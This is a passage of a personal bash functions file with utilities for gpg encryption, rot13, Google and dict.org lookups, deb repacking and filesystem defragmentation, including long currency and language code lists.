	gpg -ac --no-options "$1"
}

function decry()
{
	gpg --no-options "$1"
}

###### More advanced encryption / decryption - example: "encrypt filename" or "decrypt filename"
function encrypt()
{
	case $LANG in
	  cs* )
	    err_title="Chyba"
	    err_files="Neoznačen soubor"
	    encrypt="Šifrovat"
	    decrypt="Dešifrovat"
	    file_msg="soubor:"
	    pass_msg="Vložte heslo";;
	  * )
	    err_title="Error"
	    err_files="No file selected"
	    encrypt="Encrypt"
	    decrypt="Decrypt"
	    file_msg="file:"
	    pass_msg="Enter passphrase";;
	esac
	if [ "$1" != "" ]
	then
	  i=1
	  file=`echo "$1" | sed ''$i'!d'`
	  while [ "$file" != "" ]
	  do
	    ext=`echo "$file" | grep [.]gpg$ 2>&1`
	    if [ "$ext" != "" ]
	    then
		 pass_decrypt=`zenity --entry --entry-text "$pass_decrypt" --hide-text --title "$pass_msg" --text "$decrypt $file_msg ${file##*/}" "" 2>&1`
		 if [ "$pass_decrypt" != "" ]
		 then
		   output=${file%.*}
		   echo "$pass_decrypt" | gpg -o "$output" --batch --passphrase-fd 0 -d "$file"
		 fi
	    else
		 pass_encrypt=`zenity --entry --hide-text --entry-text "$pass_encrypt" --title "$pass_msg" --text "$encrypt $file_msg ${file##*/}" "" 2>&1`
		 if [ "$pass_encrypt" != "" ]
		 then
		   echo "$pass_encrypt" | gpg --batch --passphrase-fd 0 --cipher-algo aes256 -c "$file"
		 fi
	    fi
	    i=$(($i+1))
	    file=`echo "$1" | sed ''$i'!d'`
	  done
	else
	  zenity --error --title "$err_title" --text "$err_files"
	fi
}
alias decrypt='encrypt'

###### rot13 ("rotate alphabet 13 places" Caesar-cypher encryption)
function rot13()
{
    if [ $# -lt 1 ] || [ $# -gt 1 ]; then
        echo "Seriously?  You don't know what rot13 does?"
    else
        echo $@ | tr A-Za-z N-ZA-Mn-za-m
    fi
}

###### rot47 ("rotate ASCII characters from '!" to '~' 47 places" Caesar-cypher encryption)
function rot47()
{
    if [ $# -lt 1 ] || [ $# -gt 1 ]; then
        echo "Seriously?  You don't know what rot47 does?"
    else
        echo $@ | tr '!-~' 'P-~!-O'
    fi
}

# Google stuff					 #
#------------------------------------------////

###### convert currencies usage:	currency_convert 1 usd eur - for currency shorthand: http://www.xe.com/currency/
function currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }

###### convert currencies usage:	currency_convert 1 usd eur - for currency shorthand: http://www.xe.com/currency/
function currency_convert_() { curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) $3<.*/\1/p"; }

###### convert currencies help
function currency_convert_help() {
cat <<EOF
AED - Emirati Dirham
AFN - Afghan Afghani
ALL - Albanian Lek
AMD - Armenian Dram
ANG - Dutch Guilder
AOA - Angolan Kwanza
ARS - Argentine Peso
AUD - Australian Dollar
AWG - Aruban or Dutch Guilder
AZN - Azerbaijani New Manat
BAM - Bosnian Convertible Marka
BBD - Barbadian or Bajan Dollar
BDT - Bangladeshi Taka
BGN - Bulgarian Lev
BHD - Bahraini Dinar
BIF - Burundian Franc
BMD - Bermudian Dollar
BND - Bruneian Dollar
BOB - Bolivian Boliviano
BRL - Brazilian Real
BSD - Bahamian Dollar
BTN - Bhutanese Ngultrum
BWP - Batswana Pula
BYR - Belarusian Ruble
BZD - Belizean Dollar
CAD - Canadian Dollar
CDF - Congolese Franc
CHF - Swiss Franc
CLP - Chilean Peso
CNY - Chinese Yuan Renminbi
COP - Colombian Peso
CRC - Costa Rican Colon
CUC - Cuban Convertible Peso
CUP - Cuban Peso
CVE - Cape Verdean Escudo
CZK - Czech Koruna
DJF - Djiboutian Franc
DKK - Danish Krone
DOP - Dominican Peso
DZD - Algerian Dinar
EEK - Estonian Kroon
EGP - Egyptian Pound
ERN - Eritrean Nakfa
ETB - Ethiopian Birr
EUR - Euro
FJD - Fijian Dollar
FKP - Falkland Island Pound
GBP - British Pound
GEL - Georgian Lari
GGP - Guernsey Pound
GHS - Ghanaian Cedi
GIP - Gibraltar Pound
GMD - Gambian Dalasi
GNF - Guinean Franc
GTQ - Guatemalan Quetzal
GYD - Guyanese Dollar
HKD - Hong Kong Dollar
HNL - Honduran Lempira
HRK - Croatian Kuna
HTG - Haitian Gourde
HUF - Hungarian Forint
IDR - Indonesian Rupiah
ILS - Israeli Shekel
IMP - Isle of Man Pound
INR - Indian Rupee
IQD - Iraqi Dinar
IRR - Iranian Rial
ISK - Icelandic Krona
JEP - Jersey Pound
JMD - Jamaican Dollar
JOD - Jordanian Dinar
JPY - Japanese Yen
KES - Kenyan Shilling
KGS - Kyrgyzstani Som
KHR - Cambodian Riel
KMF - Comoran Franc
KPW - Korean Won
KRW - Korean Won
KWD - Kuwaiti Dinar
KYD - Caymanian Dollar
KZT - Kazakhstani Tenge
LAK - Lao or Laotian Kip
LBP - Lebanese Pound
LKR - Sri Lankan Rupee
LRD - Liberian Dollar
LSL - Basotho Loti
LTL - Lithuanian Litas
LVL - Latvian Lat
LYD - Libyan Dinar
MAD - Moroccan Dirham
MDL - Moldovan Leu
MGA - Malagasy Ariary
MKD - Macedonian Denar
MMK - Burmese Kyat
MNT - Mongolian Tughrik
MOP - Macau Pataca
MRO - Mauritian Ouguiya
MUR - Mauritian Rupee
MVR - Maldivian Rufiyaa
MWK - Malawian Kwacha
MXN - Mexican Peso
MYR - Malaysian Ringgit
MZN - Mozambican Metical
NAD - Namibian Dollar
NGN - Nigerian Naira
NIO - Nicaraguan Cordoba
NOK - Norwegian Krone
NPR - Nepalese Rupee
NZD - New Zealand Dollar
OMR - Omani Rial
PAB - Panamanian Balboa
PEN - Peruvian Nuevo Sol
PGK - Papua New Guinean Kina
PHP - Philippine Peso
PKR - Pakistani Rupee
PLN - Polish Zloty
PYG - Paraguayan Guarani
QAR - Qatari Riyal
RON - Romanian New Leu
RSD - Serbian Dinar
RUB - Russian Ruble
RWF - Rwandan Franc
SAR - Saudi or Saudi Arabian Riyal
SBD - Solomon Islander Dollar
SCR - Seychellois Rupee
SDG - Sudanese Pound
SEK - Swedish Krona
SGD - Singapore Dollar
SHP - Saint Helenian Pound
SLL - Sierra Leonean Leone
SOS - Somali Shilling
SPL - Seborgan Luigino
SRD - Surinamese Dollar
STD - Sao Tomean Dobra
SVC - Salvadoran Colon
SYP - Syrian Pound
SZL - Swazi Lilangeni
THB - Thai Baht
TJS - Tajikistani Somoni
TMT - Turkmenistani Manat
TND - Tunisian Dinar
TOP - Tongan Pa'anga
TRY - Turkish Lira
TTD - Trinidadian Dollar
TVD - Tuvaluan Dollar
TWD - Taiwan New Dollar
TZS - Tanzanian Shilling
UAH - Ukrainian Hryvna
UGX - Ugandan Shilling
USD - US Dollar
UYU - Uruguayan Peso
UZS - Uzbekistani Som
VEF - Venezuelan Bolivar Fuerte
VND - Vietnamese Dong
VUV - Ni-Vanuatu Vatu
WST - Samoan Tala
XAF - Central African CFA Franc BEAC
XCD - East Caribbean Dollar
XDR - IMF Special Drawing Rights
XOF - CFA Franc
XPF - CFP Franc
YER - Yemeni Rial
ZAR - South African Rand
ZMK - Zambian Kwacha
ZWD - Zimbabwean Dollar
EOF
}

###### define a word - USAGE: define dog
function define() {
	  local LNG=$(echo $LANG | cut -d '_' -f 1)
	  local CHARSET=$(echo $LANG | cut -d '.' -f 2)
	  lynx -accept_all_cookies -dump -hiddenlinks=ignore -nonumbers -assume_charset="$CHARSET" -display_charset="$CHARSET" "http://www.google.com/search?hl=${LNG}&q=define%3A+${1}&btnG=Google+Search" | grep -m 5 -C 2 -A 5 -w "*" > /tmp/define
	  if [ ! -s /tmp/define ]; then
	    echo "Sorry, google doesn't know this one..."
	    rm -f /tmp/define
	    return 1
	  else
	    cat /tmp/define | grep -v Search
	    echo ""
	  fi
	  rm -f /tmp/define
	  return 0
}

###### detect language of a string
function detectlanguage() { curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }

###### find a location's coordinates - usage:	findlocation "Las Vegas, Nevada" = coordinates: [ -115.1728160, 36.1146460, 0 ]
function findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}

###### your GeoIP location on Google Maps
function geoipme()
{
	curl -s http://geoiplookup.wikimedia.org/|awk -F, '{print $3,$4}'|awk -F'"' '{print "http://maps.google.com/maps?q="$4 "," $8}'
}

###### Google search (example: google dog)
function google() {
	firefox "http://www.google.com/search?&num=100&q=${@}" &
}

###### Google chart
function google_chart()
{
	wget -O chart.png 'http://chart.googleapis.com/chart?chs=250x100&chd=t:60,40&cht=p3&chl=Hello|World'
}

###### Google-Fonts.sh - Google search (example: google dog) Descripton: For those who want an extremely easy method to download and install the entire Google font repository.
function google-fonts() {
	###### Installation of Mercurial Needed for Downloading of Fonts ######
	sudo apt-get install mercurial
	###### Setting of Default Directories ######
	_hgroot="https://googlefontdirectory.googlecode.com/hg/"
	_hgrepo="googlefontdirectory"
	_hgoutdir="google-fonts"
	###### Google Font Choice Decision ######
	echo "
	"
	echo -n "What do you want to do with the fonts from Google
	once they are downloaded?:

	(1)  Download Only (and keep all fonts in a single folder)
	(2)  Download Only (and keep all fonts in separate folders (pure hg copy))
	(3)  Download and Install

	Press 'Enter' for default (default is '1')...

	"
	read GOOGLE_FONT_CHOICE
	###### Actual Downloading of the Google Fonts ######
	if [ ! -d $HOME/$_hgrepo ] ; then
	echo "
	"
	echo "Connecting to Mercurial server...."
	if [ -d $HOME/$_hgrepo ] ; then
	    cd $HOME/$_hgrepo
	    hg pull -u || return 1
	    echo "The local files have been updated."
	    cd ..
	else
	    hg clone $_hgroot $HOME/$_hgrepo || return 1
	fi
	echo "Mercurial checkout done or server timeout"
	echo "
	"
	else
	echo "The directory $HOME/$_hgrepo already exists."
	echo ""
	echo "No need to redownload all of the Google fonts."
	fi
	###### Google Font Choice Selection ######
	###### default
	if [[ -z $GOOGLE_FONT_CHOICE ]] ; then
	    # If no file passed, default to 1
	    mkdir -p $HOME/$_hgoutdir/
	    find $HOME/$_hgrepo/ -name "*.ttf"|xargs -I{} bash -c "cp -rf \"{}\" $HOME/$_hgoutdir/"
	    rm -rf $HOME/$_hgrepo/
	fi
	###### preset
	if [[ $GOOGLE_FONT_CHOICE = 1 ]] ; then
	    mkdir -p $HOME/$_hgoutdir/
	    find $HOME/$_hgrepo/ -name "*.ttf"|xargs -I{} bash -c "cp -rf \"{}\" $HOME/$_hgoutdir/"
	    rm -rf $HOME/$_hgrepo/
	fi
	if [[ $GOOGLE_FONT_CHOICE = 2 ]] ; then
	    mv $HOME/$_hgrepo/ $HOME/$_hgoutdir/
	fi
	if [[ $GOOGLE_FONT_CHOICE = 3 ]] ; then
	    sudo mkdir -p /usr/share/fonts/truetype/google-fonts/
	    find $HOME/$_hgrepo/ -name "*.ttf" -exec sudo install -m644 {} /usr/share/fonts/truetype/google-fonts/ \; || return 1
	    fc-cache -f > /dev/null
	    rm -rf $HOME/$_hgrepo/
	fi
	###### Wrap Up ######
	echo "
	"
	echo "done."
	echo "
	"
	read -sn 1 -p "You have finished downloading/installing all the Google Fonts currently available. Press any key to finish...
	"
}

###### get Google PageRank
function pagerank()
{
	curl pagerank.bz/$1
}

###### Google text-to-speech in mp3/wav format
function say() { mplayer -user-agent Mozilla "http://translate.google.com/translate_tts?tl=en&q=$(echo $* | sed 's#\ #\+#g')" > /dev/null 2>&1 ; }

function say_()
{
	# Saironiq's bash script
	# Usage: say_ en lol # says "lol" in english ; somecommand | say_ fr - # read text to say from a pipe
	# requires madplay: sudo apt-get install madplay
	lang=$1
	shift
	if [ "$1" = "-" ]
	then
	  read text
	  echo $text
	else
	  text=$*
	fi
	len=`expr length "$text"`
	if [ -z "$text" ] ; then
		   echo "Please specify string to translate (up to 100 characters incl.)."
		   exit 4
	elif [ "$len" -gt "100" ] ; then
		   echo "Can't translate more than 100 characters at once! (entered $len)"
		   exit 2
	fi
	wget -qU Mozilla -O - "http://translate.google.com/translate_tts?tl=$lang&q=$text" | madplay -Q -o wave:- - | aplay -q -
}

###### translate a word using Google - usage: translate <phrase> <output-language> - example: translate "hello" es = hola (will auto-detect source language) - for a list of language codes: http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
function translate() { wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=%7C${2:-en}" | sed 's/.*{"translatedText":"\([^"]*\)".*/\1\n/'; }
function translate_help() {
cat <<EOF
Language	ISO
(Afan) Oromo	om
Abkhazian	ab
Afar		aa
Afrikaans	af
Albanian	sq
Amharic		am
Arabic		ar
Armenian	hy
Assamese	as
Aymara		ay
Azerbaijani	az
Bashkir		ba
Basque		eu
Bengali		bn
Bhutani		dz
Bihari		bh
Bislama		bi
Breton		br
Bulgarian	bg
Burmese		my
Byelorussian	be
Cambodian	km
Catalan		ca
Chinese		zh
Corsican	co
Croatian	hr
Czech		cs
Danish		da
Dutch		nl
English		en
Esperanto	eo
Estonian	et
Faeroese	fo
Fiji		fj
Finnish		fi
French		fr
Frisian		fy
Galician	gl
Georgian	ka
German		de
Greek		el
Greenlandic	kl
Guarani		gn
Gujarati	gu
Hausa		ha
Hebrew 		he
(former iw)
Hindi		hi
Hungarian	hu
Icelandic	is
Indonesian 	id
(former in)
Interlingua	ia
Interlingue	ie
Inupiak		ik
Inuktitut 	iu
(Eskimo)
Irish		ga
Italian		it
Japanese	ja
Javanese	jw
Kannada		kn
Kashmiri	ks
Kazakh		kk
Kinyarwanda	rw
Kirghiz		ky
Kirundi		rn
Korean		ko
Kurdish		ku
Laothian	lo
Latin		la
Latvian, 	lv
Lettish
Lingala		ln
Lithuanian	lt
Macedonian	mk
Malagasy	mg
Malay		ms
Malayalam	ml
Maltese		mt
Maori		mi
Marathi		mr
Moldavian	mo
Mongolian	mn
Nauru		na
Nepali		ne
Norwegian	no
Occitan		oc
Oriya		or
Pashto, Pushto	ps
Persian		fa
Polish		pl
Portuguese	pt
Punjabi		pa
Quechua		qu
Rhaeto-Romance	rm
Romanian	ro
Russian		ru
Samoan		sm
Sangro		sg
Sanskrit	sa
Scots Gaelic	gd
Serbian		sr
Serbo-Croatian	sh
Sesotho		st
Setswana	tn
Shona		sn
Sindhi		sd
Singhalese	si
Siswati		ss
Slovak		sk
Slovenian	sl
Somali		so
Spanish		es
Sudanese	su
Swahili		sw
Swedish		sv
Tagalog		tl
Tajik		tg
Tamil		ta
Tatar		tt
Tegulu		te
Thai		th
Tibetan		bo
Tigrinya	ti
Tonga		to
Tsonga		ts
Turkish		tr
Turkmen		tk
Twi		tw
Uigur		ug
Ukrainian	uk
Urdu		ur
Uzbek		uz
Vietnamese	vi
Volapuk		vo
Welch		cy
Wolof		wo
Xhosa		xh
Yiddish 	yi
(former ji)
Yoruba		yo
Zhuang		za
Zulu		zu
EOF
}

###### Cut last n lines in file, 10 by default
function cuttail()
{
    nlines=${2:-10}
    sed -n -e :a -e "1,${nlines}!{P;N;D;};N;ba" $1
}

######  Continuously print string as if being entered  from the keyboard
function cycle() { while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;}

######  Super stealth background launch
function daemon()
{
    (exec "$@" >&/dev/null &)
}

###### Shows what processes need to be restarted after system upgrade
function deadlib() { lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u; }

######  Show dead links
function deadlink() {
    
    find -L -type l
}

# Stuff for easy debian package extracting, making, remaking, and uploading
#------------------------------------------////

###### deb extraction- extracts a deb file & organizes for easy deb manipulation and repacking using "debremaker"
function debextract()
{
    read -sn 1 -p "Press any key to continue...
"
    # Set IFS so that it won't consider spaces as entry separators.  Without this, spaces in file/folder names can make the loop go wacky.
    IFS=$'\n'
    NEWDIRNAME=${1%.*}
    FILENAME=${1##*/}
    NAME=${1##*/.*}
    mkdir "$NEWDIRNAME"
    cp -fv -R "$1" "$NEWDIRNAME"
    cd "$NEWDIRNAME"
    ar vx "$FILENAME"
    rm -fv -R "$FILENAME"
    for FILE in *.tar.gz; do tar xvpf $FILE; done
    for FILE in *.tar.lzma; do tar xvpf $FILE; done
    rm -fv -R "control.tar.gz"
    rm -fv -R "data.tar.gz"
    rm -fv -R "data.tar.lzma"
    rm -fv -R "debian-binary"
    mkdir "DEBIAN"
    mv -fv "changelog" "DEBIAN"
    mv -fv "config" "DEBIAN"
    mv -fv "conffiles" "DEBIAN"
    mv -fv "control" "DEBIAN"
    mv -fv "copyright" "DEBIAN"
    mv -fv "postinst" "DEBIAN"
    mv -fv "preinst" "DEBIAN"
    mv -fv "prerm" "DEBIAN"
    mv -fv "postrm" "DEBIAN"
    mv -fv "rules" "DEBIAN"
    mv -fv "shlibs" "DEBIAN"
    mv -fv "templates" "DEBIAN"
    mv -fv "triggers" "DEBIAN"
    mv -fv ".svn" "DEBIAN"
    rm -fv -R "md5sums"
    echo "Finished Successfully"
}

###### deb remaking- easily remakes a debian file after "debextract" (not authentically or correct according to Launchpad standards)
function debremaker()
{
    read -sn 1 -p "Make sure you have this function directed to the original debian file (previously extracted from and made into a folder with \"debextract\"; otherwise, it will fail (Note: This will take a minute): Press any key to continue...
"
    # Set IFS so that it won't consider spaces as entry separators.  Without this, spaces in file/folder names can make the loop go wacky.
    IFS=$'\n'
    NEWDIRNAME=${1%.*}
    FILENAME=${1##*/}
    NAME=${1##*/.*}
    cd "$NEWDIRNAME"
    rm -fv -R "$1"
    find . -type f ! -regex '.*\.hg.*' ! -regex '.*?debian-binary.*' ! -regex '.*?DEBIAN.*' -printf '%P ' | xargs md5sum > DEBIAN/md5sums
    cd ..
    dpkg-deb -b "$NEWDIRNAME"
    rm -rf "$NEWDIRNAME"
    echo "Finished Successfully"
}

####### Download a web page and show info on what took time
function debug_http() { /usr/bin/curl $@ -o /dev/null -w "dns: %{time_namelookup} connect: %{time_connect} pretransfer: %{time_pretransfer} starttransfer: %{time_starttransfer} total: %{time_total}\n" ; }

####### Defragmentation of selected files/folder (use at your own risk) & fragmentation-checking#
function defrag()
{
	cd "$1"
	read -sn 1 -p "Warning! Pressing enter will defrag the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to defrag after \"defrag\": Press any key to continue...
	"
	read -sn 1 -p "I'm serious. It's now or never...: Press any key to continue...
	"
cat > "/tmp/defrag.sh" <<"End-of-message"
#!/bin/bash
# defrag v0.08 by Con Kolivas <[email protected]
# Braindead fs-agnostic defrag to rewrite files in order largest to smallest
# Run this in the directory you want all the files and subdirectories to be
# reordered. It will only affect one partition. It works best when run twice.
# Are you really crazy enough to be using this? It might blow your data
# into tiny little useless chunks.
trap 'abort' 1 2 15
renice 19 $$ > /dev/null
function abort()
{
    echo -e "\nAborting"
    rm -f tmpfile dirlist
    exit 1
}
function fail()
{
    echo -e "\nFailed"
    abort
}
declare -i filesize=0
declare -i numfiles=0
# The maximum size of a file we can easily cache in ram
declare -i maxsize=$((`awk '/MemTotal/ {print $2}' /proc/meminfo`*1024))
(( maxsize-= `awk '/Mapped/ {print $2}' /proc/meminfo` ))
(( maxsize/= 2))
if [[ -a tmpfile || -a dirlist  ]] ; then
    echo dirlist or tmpfile exists
    exit 1
fi
# Sort in the following order:
# 1) Depth of directory
# 2) Size of directory descending
# 3) Filesize descending
# I made this crap up. It's completely unvalidated.
echo "Creating list of files..."
# stupid script to find max directory depth
find -xdev -type d -printf "%d\n" | sort -n | uniq > dirlist
# sort directories in descending size order
cat dirlist | while read d;
do
    find -xdev -type d -mindepth $d -maxdepth $d -printf "\"%p\"\n" | \
	xargs du -bS --max-depth=0 | \
	sort -k 1,1nr -k 2 |\
	cut -f2 >> tmpfile
    if (( $? )) ; then
	fail
    fi
done
rm -f dirlist
# sort files in descending size order
cat tmpfile | while read d;
do
    find "$d" -xdev -type f -maxdepth 1 -printf "%s\t%p\n" | \
	sort -k 1,1nr | \
	cut -f2 >> dirlist
    if (( $? )) ; then
	fail
    fi
done
rm -f tmpfile
numfiles=`wc -l dirlist | awk '{print $1}'`
echo -e "$numfiles files will be reordered\n"
# copy to temp file, check the file hasn't changed and then overwrite original
cat dirlist | while read i;
do
    (( --numfiles ))
    if [[ ! -f $i ]]; then
	continue
    fi
    # We could be this paranoid but it would slow it down 1000 times
    # if [[ `lsof -f -- "$i"` ]]; then
    # 	echo -e "\n File $i open! Skipping"
    # 	continue
    # fi
    filesize=`find "$i" -printf "%s"`
    # read the file first to cache it in ram if possible
    if (( filesize < maxsize ))
    then
	echo -e "\r $numfiles files left                                                            \c"
	cat "$i" > /dev/null
    else
	echo -e "\r $numfiles files left - Reordering large file sized $filesize ...                \c"
    fi
    datestamp=`find "$i" -printf "%s"`
    cp -a -f "$i" tmpfile
    if (( $? )) ; then
	fail
    fi
    # check the file hasn't been altered since we copied it
    if [[ `find "$i" -printf "%s"` != $datestamp ]] ; then
	continue
    fi
    mv -f tmpfile "$i"
    if (( $? )) ; then
	fail
    fi
done
echo -e "\nSucceeded"
rm -f dirlist
End-of-message
	chmod +x "/tmp/defrag.sh"
	sudo "/tmp/defrag.sh" "$1"
	read -sn 1 -p "When you are finished, press any key to continue...
	"
	rm "/tmp/defrag.sh"
}

###### if run this in your $HOME directory, you will have to change permissions back
function defrag2()
{
	cd "$1"
	read -sn 1 -p "Warning! Pressing enter will defrag the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to defrag after \"defrag\": Press any key to continue...
	"
	read -sn 1 -p "I'm serious. It's now or never...: Press any key to continue...
	"
cat > "/tmp/defrag2.sh" <<"End-of-message"
#!/bin/bash
# Creator:	private_lock
# Recursively descend in a folder-structure and recreate every folder on ascending, to ensure it is
# sorted (check with 'ls -lU'). This will defrag the FAT32 file-system but not touch the files.
# count some statistics
directories=0
invalid=0
unreadable=0
# the latest modification date of a file within the given directory
function getMaxDate {
    # read the output of ls (one file per line, sorted for descending modification time)
    ls -1t "$1" | while read line; do
        # "return value" is piped through standard out
        echo "-d $(stat -c %y "$1"/"$line")"
        # stop after first line
        return
    done
}
# expect a single directory as argument
function rewrite {
    # get canonical path
    local canonical="$(readlink -f "$1")"
    if [[ ! -d "$1" || -h "$1" ]]; then
        echo "Skipping symbolic link \"$1\" -> \"$canonical\"!"
        let invalid+=1
        return
    fi
    if [[ ! -d "$1" || -h "$1" ]]; then
        echo \"$canonical\" is not a valid directory!
        let invalid+=1
        return
    fi
    cd "$canonical"
    if [[ $? != 0 ]]; then
        echo Cannot change to directory \"$canonical\"! Skipping ...
        let unreadable+=1
        return
    fi
    echo $canonical
    let directories+=1
    local isEmpty=true
    # recursive descend
    for d in *; do
        if [[ -d "$d" ]]; then
            rewrite "$d"
        fi
        let isEmpty=false
    done
    # ascend to parent of canonical (But don't ascend blindly)
    cd "$canonical"/..
    if [[ $isEmpty == true ]]; then
        # no need to recreate an empty directory, as it's zero entries are always sorted
        return
    fi
    # check for an empty temporary directory-name
    local tempdir="$canonical".bak
    if [[ -e "$tempdir" ]]; then
        # echo $tempdir exits
        local counter=1
        while [[ -e "$tempdir$counter" ]]; do
            # echo ${tempdir}${counter} exits
            let counter+=1
        done
        tempdir="${tempdir}${counter}"
    fi
    # TODO check file-system boundaries (don't move across)
    # rename the current directory
    mv "$canonical" "$tempdir"
    # create a new directory
    mkdir "$canonical"
    # move all the content from the old to the new directory
    # The whole script is build around the side-effect of mv to sort the entries.
    mv "$tempdir"/* "$canonical"
    # check, that the old directory is really empty
    if [[ "$(ls -A "$tempdir")" ]]; then
        echo ERROR: "$tempdir" is not empty!
        exit -2
    fi
    # restore permissions
    chmod --reference="$tempdir" "$canonical"
    # delete the old directory
    rmdir "$tempdir"
    # update the timestamp of the new directory
    # start off with today
    local maxDate=$(date)
    # evaluate the latest modification time of a file within this directory
    # empty directories would be set to now
    touch "$(getMaxDate "$canonical")" "$canonical"
}
# check commandline for help option
for a in "$@"; do
    if [[ ${a} = "-?" || ${a} = "-h"  || ${a} = "--help" ]]; then
        echo -e "\nUsage: folderSort [-?|-h|--help] [directories]\n"
        exit -1
    fi
done
# start processing the directories
if [[ "$#" -eq 0 ]]; then
    # no commandline argument was given -> work on the current directory
    rewrite .
else
    for a in "$@"; do
        rewrite ${a}
    done
fi
echo Processed a total of $directories directories!
if [[ $invalid > 0 ]]; then
    echo Found $invalid invalid directories!
fi
if [[ $unreadable > 0 ]]; then
    echo Found $unreadable directories, that could not be changed into!
fi
exit $(($invalid + $unreadable))
End-of-message
	chmod +x "/tmp/defrag2.sh"
	sudo "/tmp/defrag2.sh" "$1"
	read -sn 1 -p "When you are finished, press any key to continue...
	"
	rm "/tmp/defrag2.sh"
}

###### fragmentation check (basic check, which will generate a percentage of fragmentation)
function fragcheck()
{
	cd "$1"
	read -sn 1 -p "Warning! Pressing enter will do a search for fragmentation in the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to do a fragcheck after \"fragcheck\": Press any key to continue...
	"
cat > "/tmp/fragcheck.pl" <<"End-of-message"
#!/usr/bin/perl -w
# Original creator: _droop_
# Updated by: as
# Updated again by: user11
# this script search for frag on a fs
use strict;
# number of files
my $files = 0;
# number of fragment
my $fragments = 0;
# number of fragmented files
my $fragfiles = 0;
my $verbose;
if ($ARGV[0] eq '-v') { shift @ARGV; $verbose++; }
open (REPORT, "find " . $ARGV[0] . " -xdev -type f -print0 | xargs -0 filefrag |");
while (defined (my $res = <REPORT>)) {
        if ($res =~ m/.*:\s+(\d+) extents? found$/) {
                my $fragment = $1;
                $fragments += $fragment;
                if ($fragment > 1) {
                        $fragfiles++;
                }
                $files++;
        } else {
                print ("Failed to parse: $res\n");
        }
}
close (REPORT);
if ($verbose) {
   print "Total files:      $files\n";
   print "Fragmented files: $fragfiles\n";
   print "Fragments:        $fragments\n";
}
sub round($$) {
   my $v = shift; # value
   my $p = shift; # rouding divisor (1 for '123', 10 for '123.4', 100 for '123.45')
   return int($v * $p) / $p;
}
print ( $fragfiles / $files * 100 . "% non contiguous files, " . $fragments / $files . " average fragments.\n");
End-of-message
	chmod +x "/tmp/fragcheck.pl"
	sudo "/tmp/fragcheck.pl" "$1"
	read -sn 1 -p "When you are finished, press any key to continue...
	"
	rm "/tmp/fragcheck.pl"
}

###### will generate a percentage for fragmentation and several other things: takes longer than first one
function fragcheck2()
{
	cd "$1"
	read -sn 1 -p "Warning! Pressing enter will do a search for fragmentation in the current directory. Close this now if you are in the wrong directory and/or you forgot to type the name of the directory you wish to do a fragcheck after \"fragcheck\": Press any key to continue...
	"
cat > "/tmp/fragcheck2.pl" <<"End-of-message"
#! /usr/bin/perl -w
#  Original creator: _droop_
#  Updated by: as
#  Updated again by: c07
use strict;
@ARGV >= 1 && @ARGV <= 2 or die "usage: $0 <dir> [<block size in KB>]";
$/= "\0";
my ($files, $blocks, $fragments, $frag, $fragblocks, $multi, $empty)= (0) x 7;
my $dir= shift;
my $blocksize= (shift || 4) + 0;
print qq|scanning "$dir", using block size $blocksize KB ...\n|;
open my $find, "-|", "find", $dir, qw"-xdev -type f -print0";
while ( my $file= <$find> ) {
  { open my $fh, "-|", "filefrag", $file; $_= <$fh> }
  /:\s+(\d+) extents? found/ or (print qq|"$_"?\n|), next;
  my $n= $1 + 0;
  { open my $fh, "-|", "ls", "-sk", $file; $_= <$fh> }
  /^(\d+)\s/ or (print qq|"$_" (ls)?\n|), next;
  my $s= $1 / $blocksize;
  ++$files;
  $s or ++$empty, next;
  $blocks += $s;
  $fragments += $n;
  ++$frag, $fragblocks += $s if $n > 1;
  ++$multi if $s > 1;
}
my $single= $files - $multi - $empty;
my $nonfrag= $files - $frag - $empty;
if ( ! $files ) { print "no files\n" }
else {
  printf "$files files, $frag (%.3f %%) fragmented\n", 100 * $frag / $files;
  if ( ! $multi ) { print "no multi-block files\n" }
  else {
    printf "$multi multi-block files, %.3f %% fragmented\n",
      100 * $frag / $multi;
  }
  print "$blocks blocks, $fragments fragments, $empty empty files\n";
  if ( $fragments ) {
    printf "average %.3f fragments per file, %.3f blocks per fragment,\n",
      $fragments / $files, $blocks / $fragments;
    if ( $multi ) {
      printf "%.3f fragments per multi-block file, %.3f blocks each,\n",
        ($fragments - $single) / $multi,
        ($blocks - $single) / ($fragments - $single);
      if ( $frag ) {
        printf "%.3f fragments per fragmented file, %.3f blocks each\n",
        ($fragments - $nonfrag) / $frag,
        $fragblocks / ($fragments - $nonfrag);
} } } }
End-of-message
	chmod +x "/tmp/fragcheck2.pl"
	sudo "/tmp/fragcheck2.pl" "$1"
	read -sn 1 -p "When you are finished, press any key to continue...
	"
	rm "/tmp/fragcheck2.pl"
}

####### Del function
function del()
{
    mv "$@" "/${HOME}/.local/share/Trash/files/"
}

###### Delete function
function delete() {
    DIR=$1
    shift
    for i in $*; do
        if [ -f $DIR/$i ]; then
            rm $DIR/$i
        fi
    done
}

# Lookup a word with dict.org
#------------------------------------------////

###### define "whatever"
function dic() { curl dict://dict.org/d:"$@" ; }

###### find matches of $1, with optional strat $2 and optional db $3
function ref()
{
    if [[ -z $3 ]]; then
        curl dict://dict.org/m:${1}:english:${2};
    else
        curl dict://dict.org/m:${1}:${3}:${2};
    fi
}

###### look in Webster
function webster() { curl dict://dict.org/d:${1}:web1913; }

###### look in WordNet
function wordnet() { curl dict://dict.org/d:${1}:wn; }

####### Shell function to exit script with error in exit status and print optional message to stderr
function die() { result=$1;shift;[ -n "$*" ]&&printf "%s\n" "$*" >&2;exit $result;}

